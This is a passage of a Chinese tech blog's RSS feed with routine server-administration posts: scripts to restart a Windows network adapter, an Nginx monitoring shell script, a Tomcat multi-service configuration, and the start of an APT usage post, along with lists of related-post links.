href="http://www.5bay.cn/me/%E4%BA%8C%E5%8D%81%E5%B9%B4%E9%97%B4%E7%9A%84%E5%A4%B1%E8%B4%A5%E8%BD%AF%E4%BB%B6%E5%92%8C%E7%B3%BB%E7%BB%9F.html" title="二十年间的失败软件和系统">二十年间的失败软件和系统</a> (0)</li><li>2006年08月25日 -- <a href="http://www.5bay.cn/network-programming/asp/%E7%BC%96%E5%86%99%E5%AE%89%E5%85%A8%E7%9A%84asp%E4%BB%A3%E7%A0%81.html" title="编写安全的ASP代码 ">编写安全的ASP代码 </a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E4%BB%A5%E4%BA%BA%E4%B8%BA%E6%9C%AC%EF%BC%8C%E7%BE%8E%E6%9C%AF%E8%B5%84%E6%BA%90%E7%9A%84%E5%BD%92%E6%A1%A3.html" title="以人为本，美术资源的归档">以人为本，美术资源的归档</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2006年02月19日 -- <a href="http://www.5bay.cn/me/%E4%B8%80%E7%AF%87%E5%90%93%E8%B6%B4%E4%B8%8B%E5%A5%BD%E5%87%A0%E4%B8%AA%E8%80%81%E5%B8%88%E7%9A%84%E8%B6%85%E5%BC%BA%E4%BD%9C%E6%96%87.html" title="一篇吓趴下好几个老师的超强作文 ">一篇吓趴下好几个老师的超强作文 </a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/androidpingmufenbianlvxiangjievgahvgaqvgawvgawqvga.html" title="Android屏幕分辨率详解（VGA、HVGA、QVGA、WVGA、WQVGA）">Android屏幕分辨率详解（VGA、HVGA、QVGA、WVGA、WQVGA）</a> (0)</li><li>2006年10月27日 -- <a href="http://www.5bay.cn/network-programming/php/%E9%9A%8F%E6%9C%BA%E6%95%B0%E7%B1%BB.html" title="随机数类">随机数类</a> (0)</li><li>2006年08月30日 -- <a href="http://www.5bay.cn/network-programming/php/php%E4%B8%AD%E5%A4%A7%E5%9B%BE%E7%BC%A9%E5%B0%8F%E5%9B%BE%E7%9A%84%E7%A8%8B%E5%BA%8F.html" title="PHP中大图缩小图的程序">PHP中大图缩小图的程序</a> (0)</li><li>2007年05月8日 -- <a href="http://www.5bay.cn/server-building/windowsserver2003iis60aspnet%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%AE%89%E5%85%A8%E8%AE%BE%E7%BD%AE%EF%BC%88%E7%A1%AC%E7%9B%98%E6%9D%83%E9%99%90%E7%AF%87%EF%BC%89.html" title="WindowsServer2003 + IIS6.0 + ASP.NET服务器安全设置（硬盘权限篇）">WindowsServer2003 + IIS6.0 + ASP.NET服务器安全设置（硬盘权限篇）</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/category/network-programming/mysql-mssql" title="MySQL&amp;MSSQL" rel="tag">MySQL&amp;MSSQL</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/jiankongmysqldegongjumysqlreportdewindowsxiaanzhuang.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CMD命令行重启网卡：Win2003不重启计算机情况下重新启动网卡的方法</title>
		<link>http://www.5bay.cn/server-building/cmdminglingxingzhongqiwangkawin2003buzhongqijisuanjiqingkuangxiazhongxinqidongwangkadefangfa.html</link>
		<comments>http://www.5bay.cn/server-building/cmdminglingxingzhongqiwangkawin2003buzhongqijisuanjiqingkuangxiazhongxinqidongwangkadefangfa.html#comments</comments>
		<pubDate>Fri, 16 Dec 2011 09:00:22 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=592</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/cmdminglingxingzhongqiwangkawin2003buzhongqijisuanjiqingkuangxiazhongxinqidongwangkadefangfa.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>方法一：使用netsh RestartLan.bat 代码 rem 适用于Win2003 rem 把Win2003的ifmon.dll拷贝到WinXP以后WinXP也可以用 rem 禁用网卡 netsh interface set interface name=”本地连接” admin=DISABLED rem 启用网卡 netsh interface set interface name=”本地连接” admin=ENABLED 方法二：使用devcon.exe 代码 @echo off rem 需要devcon.exe的支持 echo 请输入你的选择：（禁用网卡为N,启用为Y） set/p SELECT= if /i %SELECT%==Y set SELECT=ENABLE&#38;GOTO O if /i %SELECT%==N set SELECT=DISABLE O for /f “tokens=2 delims=&#38;” %%i in (&#8216;devcon find pci\* ^&#124; [...]]]></description>
			<content:encoded><![CDATA[<p><strong>方法一：使用netsh</strong></p>
<p>RestartLan.bat</p>
<div>
<div><a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" class="st_tag internal_tag" rel="tag" title="标签 代码 下的日志">代码</a></div>
<p>rem 适用于Win2003<br />
rem 把Win2003的ifmon.dll拷贝到WinXP以后WinXP也可以用</p>
<p>rem 禁用网卡<br />
netsh interface set interface name=”本地连接” admin=DISABLED</p>
<p>rem 启用网卡<br />
netsh interface set interface name=”本地连接” admin=ENABLED</p></div>
<p><strong>方法二：使用devcon.exe</strong></p>
<div>
<div>代码</div>
<p>@echo off</p>
<p>rem 需要devcon.exe的支持</p>
<p>echo 请输入你的选择：（禁用网卡为N,启用为Y）</p>
<p>set/p SELECT=</p>
<p>if /i %SELECT%==Y set SELECT=ENABLE&amp;GOTO <img src='http://www.5bay.cn/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> O</p>
<p>if /i %SELECT%==N set SELECT=DISABLE</p>
<p> <img src='http://www.5bay.cn/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> O</p>
<p>for /f “tokens=2 delims=&amp;” %%i in (&#8216;devcon find pci\* ^| findstr “Fast Ethernet”&#8216;) do devcon %SELECT% *%%i*&gt;NUL</p></div>
<p><span id="more-592"></span><br />
<strong>方法三：使用VBScript</strong><br />
RestartLan.vbs</p>
<div>
<div>代码</div>
<p>Const ssfCONTROLS = 3</p>
<p>sConnectionName = “本地连接” &#8216;可改成需要控制的连接名称，如”无线网络连接”等</p>
<p>sEnableVerb = “启用(&amp;A)”</p>
<p>sDisableVerb = “停用(&amp;B)” 非xp 系统可能 是禁用</p>
<p>set shellApp = createobject(“shell.application”)</p>
<p>set oControlPanel = shellApp.Namespace(ssfCONTROLS)</p>
<p>set oNetConnections = nothing</p>
<p>for each folderitem in oControlPanel.items</p>
<p>if folderitem.name = “网络连接” then</p>
<p>set oNetConnections = folderitem.getfolder: exit for</p>
<p>end if</p>
<p>next</p>
<p>if oNetConnections is nothing then</p>
<p>msgbox “未找到网络连接文件夹”</p>
<p>wscript.quit</p>
<p>end if</p>
<p>set oLanConnection = nothing</p>
<p>for each folderitem in oNetConnections.items</p>
<p>if lcase(folderitem.name) = lcase(sConnectionName) then</p>
<p>set oLanConnection = folderitem: exit for</p>
<p>end if</p>
<p>next</p>
<p>if oLanConnection is nothing then</p>
<p>msgbox “未找到 &#8216;” &amp; sConnectionName &amp; “&#8216; item”</p>
<p>wscript.quit</p>
<p>end if</p>
<p>bEnabled = true</p>
<p>set oEnableVerb = nothing</p>
<p>set oDisableVerb = nothing</p>
<p>s = “Verbs: ” &amp; vbcrlf</p>
<p>for each verb in oLanConnection.verbs</p>
<p>s = s &amp; vbcrlf &amp; verb.name</p>
<p>if verb.name = sEnableVerb then</p>
<p>set oEnableVerb = verb</p>
<p>bEnabled = false</p>
<p>end if</p>
<p>if verb.name = sDisableVerb then</p>
<p>set oDisableVerb = verb</p>
<p>end if</p>
<p>next</p>
<p>&#8216;debugging displays left just in case&#8230;</p>
<p>&#8216;</p>
<p>&#8216;msgbox s &#8216;: wscript.quit</p>
<p>&#8216;msgbox “Enabled: ” &amp; bEnabled &#8216;: wscript.quit</p>
<p>&#8216;not sure why, but invokeverb always seemed to work</p>
<p>&#8216;for enable but not disable.</p>
<p>&#8216;</p>
<p>&#8216;saving a reference to the appropriate verb object</p>
<p>&#8216;and calling the DoIt method always seems to work.</p>
<p>&#8216;</p>
<p>if bEnabled then</p>
<p>&#8216; oLanConnection.invokeverb sDisableVerb</p>
<p>oDisableVerb.DoIt</p>
<p>else</p>
<p>&#8216; oLanConnection.invokeverb sEnableVerb</p>
<p>oEnableVerb.DoIt</p>
<p>end if</p>
<p>&#8216;adjust the sleep duration below as needed&#8230;</p>
<p>&#8216;</p>
<p>&#8216;if you let the oLanConnection go out of scope</p>
<p>&#8216;and be destroyed too soon, the action of the verb</p>
<p>&#8216;may not take&#8230;</p>
<p>&#8216;</p>
<p>wscript.sleep 400</p></div>
<h2  class="related_post_title">推荐博文</h2><ul class="related_post"><li>2007年08月16日 -- <a href="http://www.5bay.cn/network-programming/javascript-ajax/%E7%94%A8choosecolordlg%E5%81%9A%E9%A2%9C%E8%89%B2%E9%80%89%E6%8B%A9%E8%A1%A8.html" title="用ChooseColorDlg()做颜色选择表">用ChooseColorDlg()做颜色选择表</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E4%B8%8D%E9%82%A3%E4%B9%88%E9%9A%8F%E6%9C%BA%E7%9A%84%E9%9A%8F%E6%9C%BA%E6%95%B0%E5%88%97.html" title="不那么随机的随机数列">不那么随机的随机数列</a> (0)</li><li>2007年12月29日 -- <a href="http://www.5bay.cn/network-programming/javascript-ajax/%E8%B6%85%E9%85%B7%E5%8F%B3%E4%B8%8B%E6%B5%AE%E5%87%BA%E5%B9%BF%E5%91%8A%E7%AA%97%E5%8F%A3%E4%BB%A3%E7%A0%81.html" title="超酷右下浮出广告窗口代码">超酷右下浮出广告窗口代码</a> (0)</li><li>2007年12月29日 -- <a href="http://www.5bay.cn/network-programming/asp/asp%E5%88%9D%E5%AD%A6%E8%80%85%E5%B8%B8%E7%8A%AF%E7%9A%84%E5%87%A0%E4%B8%AA%E9%94%99%E8%AF%AF.html" title="ASP初学者常犯的几个错误">ASP初学者常犯的几个错误</a> (0)</li><li>2006年02月27日 -- <a href="http://www.5bay.cn/me/%E7%94%A8%E4%BA%86%E4%B8%80%E6%95%B4%E5%A4%A9%E5%8E%BB%E5%BC%84%E7%AE%80%E5%8E%86%7E.html" title="用了一整天去弄简历~">用了一整天去弄简历~</a> (0)</li><li>2006年03月29日 -- <a href="http://www.5bay.cn/me/%E6%88%91%E6%83%B9%E4%B8%8A%E4%BA%86%E4%B8%80%E4%B8%AA%E7%AB%99%E8%A1%97%E5%A5%B3.html" title="我惹上了一个站街女">我惹上了一个站街女</a> (1)</li><li>2007年08月16日 -- <a href="http://www.5bay.cn/network-programming/dhtml-css/%E5%90%84%E7%B1%BBhttp%E8%AF%B7%E6%B1%82%E7%8A%B6%E6%80%81status%E5%8F%8A%E5%85%B6%E5%90%AB%E4%B9%89%E9%80%9F%E6%9F%A5%E5%88%97%E8%A1%A8xmlhttpstatus.html" title="各类Http请求状态(status)及其含义 速查列表 xmlhttp status">各类Http请求状态(status)及其含义 速查列表 xmlhttp status</a> (0)</li><li>2006年04月4日 -- <a href="http://www.5bay.cn/me/%E6%9B%BE%E7%BB%8F.html" title="曾经">曾经</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2006年07月5日 -- <a href="http://www.5bay.cn/me/%E7%9C%8B%E5%AE%8C%E4%BA%86%E4%B8%8D%E8%A6%81%E5%93%AD%EF%BC%88%E7%88%B1%E6%83%85%E6%95%85%E4%BA%8B%EF%BC%89.html" title="看完了不要哭.（爱情故事）">看完了不要哭.（爱情故事）</a> (0)</li><li>2010年06月2日 -- <a href="http://www.5bay.cn/me/yanzhengnideshaduruanjianshifougoulingmin.html" title="验证你的杀毒软件是否够灵敏">验证你的杀毒软件是否够灵敏</a> (3)</li><li>2007年12月29日 -- <a href="http://www.5bay.cn/network-programming/asp/%E4%B8%80%E4%B8%AA%E6%96%B0%E7%9A%84jmail%E5%8F%91%E9%80%81%E4%BB%A3%E7%A0%81.html" title="一个新的JMail发送代码">一个新的JMail发送代码</a> (0)</li><li>2006年02月26日 -- <a href="http://www.5bay.cn/media/%E3%80%8A%E6%88%91%E6%83%B3%E6%9C%89%E4%B8%AA%E7%AA%9D%E3%80%8B.html" title="《我想有个窝》">《我想有个窝》</a> (0)</li><li>2006年07月5日 -- <a href="http://www.5bay.cn/me/%E4%B8%80%E4%B8%AAmm%E7%9A%84%E7%9B%B8%E4%BA%B2%E7%BB%8F%E5%8E%86.html" title="一个MM的相亲经历&#8230; ">一个MM的相亲经历&#8230; </a> (0)</li><li>2010年07月22日 -- <a href="http://www.5bay.cn/me/csseeeeyao.html" title="CSS 中的太极拳口诀">CSS 中的太极拳口诀</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/cmdminglingxingzhongqiwangkawin2003buzhongqijisuanjiqingkuangxiazhongxinqidongwangkadefangfa.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nginx监控脚本</title>
		<link>http://www.5bay.cn/server-building/nginxjiankongjiaoben.html</link>
		<comments>http://www.5bay.cn/server-building/nginxjiankongjiaoben.html#comments</comments>
		<pubDate>Fri, 16 Dec 2011 08:53:44 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=590</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/nginxjiankongjiaoben.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>本shell脚本用于监控Nginx的连接数，Nginx所占用内存的总数，以及进程数。 #/bin/bash host=`hostname` ip=`ifconfig eth0 &#124; grep &#8216;inet addr&#8217;&#124;sed &#8216;s/.*addr://g&#8217;&#124;sed &#8216;s/B.*//g&#8217;` #监控nginx的连接数 http_req=`netstat -nat&#124;grep -i “80&#8243;&#124;wc -l ` time_stamp=`date “+%Y/%m/%d %T”` if [ ${http_req} -ge 300 ]; then echo “alert ==&#62; ${host}@${ip}: http connection ${http_req} &#62;= 300 @${time_stamp} ” else echo “${host}@${ip}: http connection ${http_req} @ ${time_stamp}” fi ##监控nginx的进程 nginx_proc=`ps -C nginx &#8211;no-header &#124; wc [...]]]></description>
			<content:encoded><![CDATA[<p>本shell脚本用于监控Nginx的连接数，Nginx所占用内存的总数，以及进程数。</p>
<p>#/bin/bash</p>
<p>host=`hostname`<br />
ip=`ifconfig eth0 | grep &#8216;inet addr&#8217;|sed &#8216;s/.*addr://g&#8217;|sed &#8216;s/B.*//g&#8217;`<br />
#监控nginx的连接数<br />
http_req=`netstat -nat|grep -i “80&#8243;|wc -l `<br />
time_stamp=`date “+%Y/%m/%d %T”`<br />
if [ ${http_req} -ge 300 ];<br />
then<br />
echo “alert ==&gt; ${host}@${ip}: http connection ${http_req} &gt;= 300 @${time_stamp} ”<br />
else<br />
echo “${host}@${ip}: http connection ${http_req} @ ${time_stamp}”<br />
fi<br />
##监控nginx的进程<br />
nginx_proc=`ps -C nginx &#8211;no-header | wc -l `<br />
time_stamp=`date “+%Y/%m/%d %T”`<br />
if [ ${nginx_proc} -ge 100 ]<br />
then<br />
echo “alert ==&gt; ${host}@${ip}: nginx process ${nginx_proc} &gt;= 100 @${time_stamp} ”<br />
else<br />
echo “${host}@${ip}: nginx process ${nginx_proc} @ ${time_stamp}”<br />
fi</p>
<p>#监控nginx所占用的内存总数<br />
nginx_mem=`top -b -n1 | grep nginx |gawk &#8216;{sum += $6}; END {print int(sum/1024)}&#8217; `<br />
time_stamp=`date “+%Y/%m/%d %T”`<br />
if [ ${nginx_mem} -ge 500 ]<br />
then<br />
echo “alert ==&gt; ${host}@${ip}: nginx memory usage ${nginx_mem} MB &gt;= 500 @${time_stamp} ”<br />
else<br />
echo “${host}@${ip}: nginx memory ${nginx_mem}MB @ ${time_stamp}”<br />
fi</p>
<h2  class="related_post_title">推荐博文</h2><ul class="related_post"><li>2008年11月17日 -- <a href="http://www.5bay.cn/me/urlseopatchsforphpok30simple.html" title="URLSEO patchs for PHPOK3.0 simple">URLSEO patchs for PHPOK3.0 simple</a> (0)</li><li>2007年03月17日 -- <a href="http://www.5bay.cn/me/%e7%bd%91%e7%ab%99%e6%9c%8d%e5%8a%a1%e5%99%a8%e7%bb%b4%e6%8a%a4%e5%ae%8c%e6%af%95.html" title="网站服务器维护完毕~">网站服务器维护完毕~</a> (0)</li><li>2008年10月14日 -- <a href="http://www.5bay.cn/me/urlseopatchsforphpok22.html" title="URLSEO patchs for PHPOK 2.2">URLSEO patchs for PHPOK 2.2</a> (3)</li><li>2006年09月28日 -- <a href="http://www.5bay.cn/me/%E5%8F%88%E5%88%B0%E4%B8%AD%E7%A7%8B%E6%9C%88%E6%98%8E%E6%97%B6.html" title="又到中秋月明时">又到中秋月明时</a> (0)</li><li>2006年12月27日 -- <a href="http://www.5bay.cn/network-programming/php/phpini%E4%B8%AD%E6%96%87%E7%89%88.html" title="php.ini 中文版">php.ini 中文版</a> (0)</li><li>2007年03月23日 -- <a href="http://www.5bay.cn/network-programming/php/php%E5%A4%9A%E5%AD%97%E6%AE%B5%E6%90%9C%E7%B4%A2.html" title="PHP多字段搜索">PHP多字段搜索</a> (2)</li><li>2006年05月5日 -- <a href="http://www.5bay.cn/me/%E5%81%87%E6%97%A5%E6%9C%9F%E9%97%B4%E7%9A%84%E3%80%8A%E5%81%87%E6%97%A5%E3%80%8B.html" title="假日期间的《假日》">假日期间的《假日》</a> (0)</li><li>2006年12月8日 -- <a href="http://www.5bay.cn/network-programming/dhtml-css/mozilla%E5%BB%BA%E8%AE%AE%E7%9A%84css%E4%B9%A6%E5%86%99%E9%A1%BA%E5%BA%8F.html" title="Mozilla建议的CSS书写顺序">Mozilla建议的CSS书写顺序</a> (0)</li><li>2006年12月27日 -- <a href="http://www.5bay.cn/network-programming/php/%E5%81%9A%E4%B8%AA%E8%87%AA%E5%B7%B1%E7%AB%99%E5%86%85%E6%90%9C%E7%B4%A2%E5%BC%95%E6%93%8E.html" title="做个自己站内搜索引擎">做个自己站内搜索引擎</a> (0)</li><li>2007年02月7日 -- <a href="http://www.5bay.cn/swallows-a-small-novel/%E5%BF%83%E9%9A%8F%E6%88%91%E6%84%8F.html" title="心随我意">心随我意</a> (0)</li><li>2006年12月27日 -- <a href="http://www.5bay.cn/network-programming/asp/%E7%BD%91%E7%AB%99%E7%A8%8B%E5%BA%8Fsqlserver%E8%BD%ACaccess.html" title="网站程序 sql server 转 access">网站程序 sql server 转 access</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2006年12月2日 -- <a href="http://www.5bay.cn/me/%E8%8D%89%E7%BA%B8%E8%AF%B7%E5%81%87%E6%89%8B%E5%86%8C%E2%80%94%E2%80%94%E4%B8%9C%E6%8B%BC%E8%A5%BF%E5%87%91%E7%89%88.html" title="草纸请假手册——东拼西凑版">草纸请假手册——东拼西凑版</a> (0)</li><li>2006年09月29日 -- <a href="http://www.5bay.cn/website/26%E6%AD%A5%E6%89%93%E9%80%A0%E9%AB%98%E8%AE%BF%E9%97%AE%E9%87%8F%E7%BD%91%E7%AB%99.html" title="26步打造高访问量网站">26步打造高访问量网站</a> (0)</li><li>2006年12月27日 -- <a href="http://www.5bay.cn/network-programming/php/phpajax%E5%AE%9E%E7%8E%B0%E9%A1%B5%E9%9D%A2%E6%97%A0%E5%88%B7%E6%96%B0%E5%8F%91%E8%A1%A8%E8%AF%84%E8%AE%BA.html" title="PHP Ajax实现页面无刷新发表评论">PHP Ajax实现页面无刷新发表评论</a> (1)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/nginxjiankongjiaoben.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>利用Tomcat建立多个Web Server的方法:tomcat 配置多个</title>
		<link>http://www.5bay.cn/server-building/liyongtomcatjianliduogewebserverdefangfatomcatpeizhiduoge.html</link>
		<comments>http://www.5bay.cn/server-building/liyongtomcatjianliduogewebserverdefangfatomcatpeizhiduoge.html#comments</comments>
		<pubDate>Fri, 16 Dec 2011 08:53:08 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=588</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/liyongtomcatjianliduogewebserverdefangfatomcatpeizhiduoge.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>通过配置多个&#60;Service&#62;元素(多端口 多应用) 在&#60;Server&#62;下配置多个&#60;Service&#62;元素 修改server.xml文件，在&#60;/server&#62;之前插入,其中请注意修改 docBase=”c:/apache-tomcat-6.0.18/app2&#8243;为你的。 还有端口号。 &#60;Service name=”Catalina2&#8243;&#62; &#60;Connector acceptCount=”100&#8243; connectionTimeout=”20000&#8243; disableUploadTimeout=”true” port=”8090&#8243; redirectPort=”8453&#8243; maxSpareThreads=”75&#8243; maxThreads=”150&#8243; minSpareThreads=”25&#8243;/&#62; &#60;Connector port=”8019&#8243; protocol=”AJP/1.3&#8243; protocolHandlerClassName=”org.apache.jk.server.JkCoyoteHandler” redirectPort=”8453&#8243;/&#62; &#60;Engine defaultHost=”localhost” name=”Catalina”&#62; &#60;Host appBase=”app2&#8243; name=”localhost”&#62; &#60;Context path=”" docBase=”c:/apache-tomcat-6.0.18/app2&#8243; debug=”0&#8243; reloadable=”true”&#62;&#60;/Context&#62; &#60;/Host&#62; &#60;Realm className=”org.apache.catalina.realm.UserDatabaseRealm”/&#62; &#60;/Engine&#62; &#60;/Service&#62; 这个时候可以通过访问 http://localhost:8090/ 来进行访问 推荐博文2006年12月22日 -- 使用模板实现ASP代码与页面分离 (0)2006年10月27日 -- 整理显示照片exif信息 (1)2006年12月27日 -- php 上传类 (0)2008年10月17日 -- 游戏的帧率控制 (0)2006年12月27日 -- [...]]]></description>
			<content:encoded><![CDATA[<p>通过配置多个&lt;Service&gt;元素(多端口 多应用)<br />
在&lt;<a href="http://www.5bay.cn/tag/server" class="st_tag internal_tag" rel="tag" title="标签 server 下的日志">Server</a>&gt;下配置多个&lt;Service&gt;元素<br />
修改server.xml文件，在&lt;/server&gt;之前插入,其中请注意修改 docBase=”c:/apache-tomcat-6.0.18/app2&#8243;为你的。<br />
还有端口号。<br />
&lt;Service name=”Catalina2&#8243;&gt;<br />
&lt;Connector acceptCount=”100&#8243; connectionTimeout=”20000&#8243; disableUploadTimeout=”true” port=”8090&#8243; redirectPort=”8453&#8243; maxSpareThreads=”75&#8243; maxThreads=”150&#8243; minSpareThreads=”25&#8243;/&gt;</p>
<p>&lt;Connector port=”8019&#8243; protocol=”AJP/1.3&#8243; protocolHandlerClassName=”org.apache.jk.server.JkCoyoteHandler” redirectPort=”8453&#8243;/&gt;</p>
<p>&lt;Engine defaultHost=”localhost” name=”Catalina”&gt;</p>
<p>&lt;Host appBase=”app2&#8243; name=”localhost”&gt;</p>
<p>&lt;Context <a href="http://www.5bay.cn/tag/path" class="st_tag internal_tag" rel="tag" title="标签 path 下的日志">path</a>=”" docBase=”c:/apache-tomcat-6.0.18/app2&#8243; debug=”0&#8243; reloadable=”true”&gt;&lt;/Context&gt;</p>
<p>&lt;/Host&gt;</p>
<p>&lt;Realm className=”org.apache.catalina.realm.UserDatabaseRealm”/&gt;</p>
<p>&lt;/Engine&gt;</p>
<p>&lt;/Service&gt;</p>
<p>这个时候可以通过访问 http://localhost:8090/ 来进行访问</p>
<h2  class="related_post_title">推荐博文</h2><ul class="related_post"><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84%E5%AF%BB%E8%B7%AF%E7%AE%97%E6%B3%95.html" title="一个简单的寻路算法">一个简单的寻路算法</a> (0)</li><li>2006年04月17日 -- <a href="http://www.5bay.cn/me/%E6%9C%89%E4%B8%80%E7%A7%8D%E6%83%85%E6%84%9F%E5%8F%AB%E9%AA%A8%E8%82%89%E7%9B%B8%E8%BF%9E.html" title="有一种情感叫骨肉相连">有一种情感叫骨肉相连</a> (0)</li><li>2007年01月6日 -- <a href="http://www.5bay.cn/swallows-a-small-novel/%E5%A5%B3%E4%BA%BA.html" title="女人">女人</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E4%BB%A5%E4%BA%BA%E4%B8%BA%E6%9C%AC%EF%BC%8C%E7%BE%8E%E6%9C%AF%E8%B5%84%E6%BA%90%E7%9A%84%E5%BD%92%E6%A1%A3.html" title="以人为本，美术资源的归档">以人为本，美术资源的归档</a> (0)</li><li>2006年02月19日 -- <a href="http://www.5bay.cn/website/blog%E8%AE%BE%E8%AE%A1%E7%9A%847%E4%B8%AA%E8%B6%8B%E5%8A%BF.html" title="Blog设计的7个趋势 ">Blog设计的7个趋势 </a> (0)</li><li>2007年02月10日 -- <a href="http://www.5bay.cn/network-programming/asp/%E5%A4%9A%E5%85%B3%E9%94%AE%E5%AD%97%E5%A4%9A%E6%9D%A1%E4%BB%B6%E6%9F%A5%E8%AF%A2%E7%9A%84%E5%AE%9E%E4%BE%8B.html" title="多关键字多条件查询的实例">多关键字多条件查询的实例</a> (1)</li><li>2006年02月19日 -- <a href="http://www.5bay.cn/me/%e7%97%85%e6%83%85%e5%8a%a0%e9%87%8d.html" title="病情加重~">病情加重~</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpv5-3eeeeee-3.html" title="PHP V5.3 中的新特性: 名称空间(三)">PHP V5.3 中的新特性: 名称空间(三)</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/eeeeeeee-2.html" title="防止网卡被禁用的具体配置方法">防止网卡被禁用的具体配置方法</a> (0)</li><li>2006年07月18日 -- <a href="http://www.5bay.cn/network-programming/asp/asp%E8%8E%B7%E5%8F%96%E7%BD%91%E9%A1%B5url%E4%BB%A3%E7%A0%81.html" title="ASP 获取网页URL代码">ASP 获取网页URL代码</a> (1)</li><li>2006年03月15日 -- <a href="http://www.5bay.cn/pig-article/%E3%80%8A%E6%8A%A4%E6%88%92%E4%BD%BF%E8%80%85%E4%B8%AD%E7%9A%84%E5%8F%A6%E4%B8%80%E7%81%B5%E9%AD%82%E3%80%8B.html" title="《护戒使者中的另一灵魂》">《护戒使者中的另一灵魂》</a> (0)</li><li>2006年02月19日 -- <a href="http://www.5bay.cn/me/%E8%B6%85%E6%99%95%EF%BC%9A%E5%8C%BB%E5%AD%A6%E9%99%A2%E5%86%85%E6%90%9E%E7%AC%91%E6%A0%87%E8%AF%AD%EF%BC%81.html" title="超晕：医学院内搞笑标语！">超晕：医学院内搞笑标语！</a> (1)</li><li>2007年01月7日 -- <a href="http://www.5bay.cn/network-programming/php/php%E4%B8%80%E4%BA%9B%E9%98%B2%E6%B3%A8%E5%85%A5%E5%87%BD%E6%95%B0.html" title="PHP一些防注入函数 ">PHP一些防注入函数 </a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/server-building/chedimingbaiipdizhieeeejisuanxiangguandizhi.html" title="彻底明白IP地址——计算相关地址">彻底明白IP地址——计算相关地址</a> (0)</li><li>2007年03月21日 -- <a href="http://www.5bay.cn/server-building/%E8%A7%A3%E5%86%B3%E7%BD%91%E7%AB%99%E5%A4%A7%E6%B5%81%E9%87%8F%E9%97%AE%E9%A2%98%E7%9A%84%E7%AD%96%E7%95%A5.html" title="解决网站大流量问题的策略">解决网站大流量问题的策略</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/liyongtomcatjianliduogewebserverdefangfatomcatpeizhiduoge.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>APT命令的用法</title>
		<link>http://www.5bay.cn/server-building/aptminglingdeyongfa.html</link>
		<comments>http://www.5bay.cn/server-building/aptminglingdeyongfa.html#comments</comments>
		<pubDate>Fri, 16 Dec 2011 08:51:26 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
